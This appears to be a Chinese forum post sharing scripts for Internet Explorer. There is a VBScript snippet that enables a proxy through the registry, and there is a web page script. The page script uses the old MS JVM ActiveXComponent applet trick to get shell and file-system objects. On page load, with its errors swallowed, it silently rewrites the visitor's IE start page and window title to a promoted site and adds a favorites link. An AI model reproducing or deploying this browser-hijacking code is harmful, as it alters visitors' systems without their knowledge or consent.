这个是我贴在Javascript版的一个回复(求:IE5.50使用代理服务器/不使用代理服务器 之间进行切换的代码):
Set WshShell = CreateObject("WScript.Shell")
str="HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable"
WshShell.RegWrite str, 1 ,"REG_DWORD"
Set WshShell = CreateObject("WScript.Shell")
str="HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable"
WshShell.RegWrite str, 1 ,"REG_DWORD"
<SCRIPT>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject(); try
{
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://lucky.myrice.com/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","【孟宪会之精彩世界】http://lucky.myrice.com制作!!");
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "【孟宪会之精彩世界】", "http://lucky.myrice.com/");
}
}
catch(e)
{}
}
catch(e)
{}
} function init()
{
setTimeout("f()", 1000);
} init(); </SCRIPT>
</body>
</HTML>
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","【孟宪会之精彩世界】http://lucky.myrice.com制作!!");
两句是写入注册表的语句